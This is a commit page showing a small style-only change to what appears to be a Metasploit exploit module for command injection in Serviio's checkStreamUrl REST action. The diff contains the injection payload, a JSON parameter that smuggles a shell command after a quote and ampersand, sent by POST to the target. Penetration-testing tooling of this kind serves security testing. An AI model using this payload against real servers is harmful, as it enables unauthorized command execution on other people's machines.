Skip to content

Commit 42c7d64

Browse files
committed
Update style
1 parent 32dafb0 commit 42c7d64

File tree

1 file changed

+2
-4
lines changed

1 file changed

+2
-4
lines changed

modules/exploits/windows/http/serviio_checkstreamurl_cmd_exec.rb

Lines changed: 2 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -85,13 +85,11 @@ def check
8585
end
8686

8787
def execute_command(cmd, opts = {})
88-
json = { 'name' => 'checkStreamUrl',
89-
'parameter' => ['VIDEO', "\" &#{cmd}&"] }.to_json
90-
88+
data = { 'name' => 'checkStreamUrl', 'parameter' => ['VIDEO', "\" &#{cmd}&"] }
9189
send_request_cgi('uri' => normalize_uri(target_uri.path, 'rest', 'action'),
9290
'method' => 'POST',
9391
'ctype' => 'application/json',
94-
'data' => json)
92+
'data' => data.to_json)
9593
end
9694

9795
def exploit

0 commit comments

Comments
 (0)